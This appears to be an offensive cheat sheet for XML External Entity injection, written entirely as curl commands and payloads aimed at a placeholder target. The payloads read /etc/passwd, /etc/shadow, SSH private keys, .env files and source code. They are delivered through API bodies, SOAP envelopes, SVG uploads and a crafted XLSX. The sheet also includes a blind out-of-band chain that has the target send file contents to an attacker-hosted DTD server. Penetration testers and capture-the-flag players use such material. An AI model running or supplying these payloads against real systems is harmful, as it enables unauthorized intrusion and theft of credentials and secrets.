XML External Entity (XXE) Injection

# Check for XML input acceptance
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?><test>hello</test>'
curl -s 'http://<TARGET>/api' -H 'Content-Type: text/xml' -d '<root>test</root>'

# Check for SOAP endpoints
curl -s 'http://<TARGET>/?wsdl'
curl -s 'http://<TARGET>/ws?wsdl'
curl -s 'http://<TARGET>/service?wsdl'
curl -s 'http://<TARGET>/soap'

# Check for XML upload/processing endpoints
curl -s 'http://<TARGET>/' | grep -i 'xml\|upload\|import\|parse'

# Read /etc/passwd (confirms XXE)
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0" encoding="UTF-8"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///etc/passwd">
]>
<root><data>&xxe;</data></root>'

# Read sensitive credential/config files via XXE
for f in /etc/passwd /etc/shadow /root/.ssh/id_rsa \
          /var/www/html/.env /app/.env /app/config.py /opt/app/config.json; do
  echo "=== $f ===" && curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' \
    -d "<?xml version=\"1.0\"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM \"file://$f\">]><root>&xxe;</root>"
done

# Read application source code
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///var/www/html/index.php">
]>
<root>&xxe;</root>'

# Standard SOAP XXE
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///.env">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/">
  <soapenv:Body>
    <query>&xxe;</query>
  </soapenv:Body>
</soapenv:Envelope>'

# With namespace matching (adapt element names to WSDL)
curl -s 'http://<TARGET>/ws' -H 'Content-Type: text/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY xxe SYSTEM "file:///.env">
]>
<soapenv:Envelope xmlns:soapenv="http://schemas.xmlsoap.org/soap/envelope/" xmlns:ns="http://target.namespace/">
  <soapenv:Body>
    <ns:getData>
      <ns:input>&xxe;</ns:input>
    </ns:getData>
  </soapenv:Body>
</soapenv:Envelope>'

# SVG with XXE
cat > xxe.svg << 'SVGEOF'
<?xml version="1.0"?>
<!DOCTYPE svg [
  <!ENTITY xxe SYSTEM "file:///.env">
]>
<svg xmlns="http://www.w3.org/2000/svg" width="200" height="200">
  <text x="0" y="20">&xxe;</text>
</svg>
SVGEOF
curl -s 'http://<TARGET>/upload' -F 'file=@xxe.svg'

# DOCX/XLSX with XXE (modify embedded XML)
# 1. Create minimal XLSX with injected XXE in [Content_Types].xml
mkdir -p xxe_xlsx/_rels xxe_xlsx/xl
echo '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///.env">]><Types xmlns="http://schemas.openxmlformats.org/package/2006/content-types"><Default Extension="xml" ContentType="application/xml"/><Override PartName="/xl/workbook.xml" ContentType="application/vnd.openxmlformats-officedocument.spreadsheetml.sheet.main+xml"/>&xxe;</Types>' > xxe_xlsx/\[Content_Types\].xml
cd xxe_xlsx && zip -r ../xxe.xlsx . && cd ..
curl -s 'http://<TARGET>/upload' -F 'file=@xxe.xlsx'

# When entity value isn't reflected in response

# 1. Host evil DTD on attacker server (write to file, serve with python HTTP)
cat > /tmp/evil.dtd << 'DTDEOF'
<!ENTITY % file SYSTEM "file:///.env">
<!ENTITY % eval "<!ENTITY &#x25; exfil SYSTEM 'http://<ATTACKER>:8888/?d=%file;'>">
%eval;
%exfil;
DTDEOF
python3 -m http.server 8888 --directory /tmp &

# 2. Send XXE that loads external DTD
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [
  <!ENTITY % xxe SYSTEM "http://<ATTACKER>:8888/evil.dtd">
  %xxe;
]>
<root>test</root>'

# 3. Check listener for exfiltrated data

# JSON endpoint that also accepts XML
curl -s 'http://<TARGET>/api' -H 'Content-Type: application/xml' -d '<?xml version="1.0"?>
<!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///.env">]>
<root>&xxe;</root>'

# URL-encoded XML in POST body
curl -s 'http://<TARGET>/api' -d 'xml=%3C%3Fxml%20version%3D%221.0%22%3F%3E%3C!DOCTYPE%20foo%20%5B%3C!ENTITY%20xxe%20SYSTEM%20%22file%3A%2F%2F%2F.env%22%3E%5D%3E%3Croot%3E%26xxe%3B%3C%2Froot%3E'